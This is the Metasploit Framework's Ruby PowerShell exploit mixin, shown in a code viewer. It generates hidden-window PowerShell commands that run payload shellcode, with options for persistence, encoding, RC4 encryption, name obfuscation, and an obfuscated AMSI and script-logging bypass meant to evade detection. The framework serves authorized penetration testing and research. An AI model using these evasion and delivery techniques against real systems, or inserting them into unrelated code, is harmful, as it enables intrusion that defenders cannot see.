CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/core/exploit/powershell.rb
Views: 11784
1
# -*- coding: binary -*-
2
require 'rex/powershell'
3
4
module Msf
5
module Exploit::Powershell
6
def initialize(info = {})
7
super
8
register_advanced_options(
9
[
10
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
11
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
12
OptEnum.new('Powershell::prepend_protections_bypass', [true, 'Prepend AMSI/SBL bypass', 'auto', %w[ auto true false ]]),
13
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
14
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
15
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', true]),
16
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
17
OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]),
18
OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]),
19
OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]),
20
OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]),
21
OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]),
22
OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]),
23
OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]),
24
OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]),
25
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]])
26
]
27
)
28
end
29
30
#
31
# Return a script from path or string
32
#
33
def read_script(script_path)
34
Rex::Powershell::Script.new(script_path)
35
end
36
37
#
38
# Return an array of substitutions for use in make_subs
39
#
40
def process_subs(subs)
41
return [] if subs.nil? || subs.empty?
42
new_subs = []
43
subs.split(';').each do |set|
44
new_subs << set.split(',', 2)
45
end
46
47
new_subs
48
end
49
50
#
51
# Insert substitutions into the powershell script
52
# If script is a path to a file then read the file
53
# otherwise treat it as the contents of a file
54
#
55
def make_subs(script, subs)
56
subs.each do |set|
57
script.gsub!(set[0], set[1])
58
end
59
60
script
61
end
62
63
#
64
# Return an encoded powershell script
65
# Will invoke PSH modifiers as enabled
66
#
67
# @param script_in [String] Script contents
68
#
69
# @return [String] Encoded script
70
def encode_script(script_in, eof = nil)
71
opts = {}
72
datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k|
73
next unless datastore[k]
74
75
mod_method = k.split('::').last.intern
76
opts[mod_method.to_sym] = true
77
end
78
79
Rex::Powershell::Command.encode_script(script_in, eof, opts)
80
end
81
82
#
83
# Return an decoded powershell script
84
#
85
# @param script_in [String] Encoded contents
86
#
87
# @return [String] Decoded script
88
def decode_script(script_in)
89
return script_in unless
90
script_in.to_s.match(%r{[A-Za-z0-9+/]+={0,3}})[0] == script_in.to_s &&
91
(script_in.to_s.length % 4).zero?
92
93
Rex::Powershell::Command.decode_script(script_in)
94
end
95
96
#
97
# Return a gzip compressed powershell script
98
# Will invoke PSH modifiers as enabled
99
#
100
# @param script_in [String] Script contents
101
# @param eof [String] Marker to indicate the end of file appended to script
102
#
103
# @return [String] Compressed script with decompression stub
104
def compress_script(script_in, eof = nil)
105
opts = {}
106
datastore.keys.select { |k| k =~ /^Powershell::(strip|sub)/i }.each do |k|
107
next unless datastore[k]
108
109
mod_method = k.split('::').last.intern
110
opts[mod_method.to_sym] = true
111
end
112
113
Rex::Powershell::Command.compress_script(script_in, eof, opts)
114
end
115
116
#
117
# Return a decompressed powershell script
118
#
119
# @param script_in [String] Compressed contents with decompression stub
120
#
121
# @return [String] Decompressed script
122
def decompress_script(script_in)
123
return script_in unless script_in.match?(/FromBase64String/)
124
125
Rex::Powershell::Command.decompress_script(script_in)
126
end
127
128
#
129
# Generate a powershell command line, options are passed on to
130
# generate_psh_args
131
#
132
# @param opts [Hash] The options to generate the command line
133
# @option opts [String] :path Path to the powershell binary
134
# @option opts [Boolean] :no_full_stop Whether powershell binary
135
# should include .exe
136
#
137
# @return [String] Powershell command line with arguments
138
def generate_psh_command_line(opts)
139
Rex::Powershell::Command.generate_psh_command_line(opts)
140
end
141
142
#
143
# Generate arguments for the powershell command
144
# The format will be have no space at the start and have a space
145
# afterwards e.g. "-Arg1 x -Arg -Arg x "
146
#
147
# @param opts [Hash] The options to generate the command line
148
# @option opts [Boolean] :shorten Whether to shorten the powershell
149
# arguments (v2.0 or greater)
150
# @option opts [String] :encodedcommand Powershell script as an
151
# encoded command (-EncodedCommand)
152
# @option opts [String] :executionpolicy The execution policy
153
# (-ExecutionPolicy)
154
# @option opts [String] :inputformat The input format (-InputFormat)
155
# @option opts [String] :file The path to a powershell file (-File)
156
# @option opts [Boolean] :noexit Whether to exit powershell after
157
# execution (-NoExit)
158
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
159
# @option opts [Boolean] :noninteractive Whether to load a non
160
# interactive powershell (-NonInteractive)
161
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
162
# Apartment (-Mta)
163
# @option opts [String] :outputformat The output format
164
# (-OutputFormat)
165
# @option opts [Boolean] :sta Whether to run as Single-Threaded
166
# Apartment (-Sta)
167
# @option opts [Boolean] :noprofile Whether to use the current users
168
# powershell profile (-NoProfile)
169
# @option opts [String] :windowstyle The window style to use
170
# (-WindowStyle)
171
#
172
# @return [String] Powershell command arguments
173
def generate_psh_args(opts)
174
return '' unless opts
175
176
unless opts.key? :shorten
177
opts[:shorten] = (datastore['Powershell::method'] != 'old')
178
end
179
180
Rex::Powershell::Command.generate_psh_args(opts)
181
end
182
183
#
184
# Wraps the powershell code to launch a hidden window and
185
# detect the execution environment and spawn the appropriate
186
# powershell executable for the payload architecture.
187
#
188
# @param ps_code [String] Powershell code
189
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
190
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
191
# @return [String] Wrapped powershell code
192
def run_hidden_psh(ps_code, payload_arch, encoded)
193
arg_opts = {
194
noprofile: true,
195
windowstyle: 'hidden'
196
}
197
198
# Old technique fails if powershell exits..
199
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
200
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
201
202
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
203
end
204
205
#
206
# Creates a powershell command line string which will execute the
207
# payload in a hidden window in the appropriate execution environment
208
# for the payload architecture. Opts are passed through to
209
# run_hidden_psh, generate_psh_command_line and generate_psh_args
210
#
211
# @param pay [String] The payload shellcode
212
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
213
# @param opts [Hash] The options to generate the command
214
# @option opts [Boolean] :persist Loop the payload to cause
215
# re-execution if the shellcode finishes
216
# @option opts [Integer] :prepend_sleep Sleep for the specified time
217
# before executing the payload
218
# @option opts [Boolean] :exec_rc4 Encrypt payload with RC4
219
# @option opts [String] :method The powershell injection technique to
220
# use: 'net'/'reflection'/'old'
221
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
222
# script within the hidden/architecture detection wrapper
223
# @option opts [Boolean] :encode_final_payload Encodes the final
224
# powershell script
225
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
226
# environment variable at the start of the command line
227
# @option opts [Boolean] :wrap_double_quotes Wraps the -Command
228
# argument in double quotes unless :encode_final_payload
229
#
230
# @return [String] Powershell command line with payload
231
def cmd_psh_payload(pay, payload_arch, opts = {})
232
%i[persist prepend_sleep exec_in_place exec_rc4 encode_final_payload encode_inner_payload
233
remove_comspec noninteractive wrap_double_quotes no_equals method prepend_protections_bypass].map do |opt|
234
opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil?
235
end
236
237
prepend_protections_bypass = opts.delete(:prepend_protections_bypass)
238
if %w[ auto true ].include?(prepend_protections_bypass)
239
opts[:prepend] = bypass_powershell_protections
240
end
241
242
unless opts.key? :shorten
243
opts[:shorten] = (datastore['Powershell::method'] != 'old')
244
end
245
246
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
247
begin
248
command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)
249
rescue Rex::Powershell::Exceptions::PowershellCommandLengthError => e
250
raise unless prepend_protections_bypass == 'auto'
251
252
# if prepend protections bypass is automatic, try it first but if the size is too large, turn it off and try again
253
opts.delete(:prepend)
254
command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts)
255
end
256
257
vprint_status("Powershell command length: #{command.length}")
258
259
command
260
end
261
262
#
263
# Return all bypasses checking if PowerShell version > 3
264
#
265
# @return [String] PowerShell code to disable PowerShell Built-In Protections
266
def bypass_powershell_protections
267
# generate the protections bypass in three short steps
268
# step 1: shuffle the instructions by rendering the GraphML
269
script = Rex::Payloads::Shuffle.from_graphml_file(
270
File.join(Msf::Config.install_root, 'data', 'evasion', 'windows', 'bypass_powershell_protections.erb.graphml'),
271
)
272
# step 2: obfuscate sketchy string literals by rendering the ERB template
273
script = ::ERB.new(script).result(binding)
274
# step 3: obfuscate variable names and remove whitespace
275
script = Rex::Powershell::Script.new(script)
276
script.sub_vars if datastore['Powershell::sub_vars']
277
Rex::Powershell::PshMethods.uglify_ps(script.to_s)
278
end
279
280
#
281
# Useful method cache
282
#
283
module PshMethods
284
include Rex::Powershell::PshMethods
285
end
286
end
287
end
288
289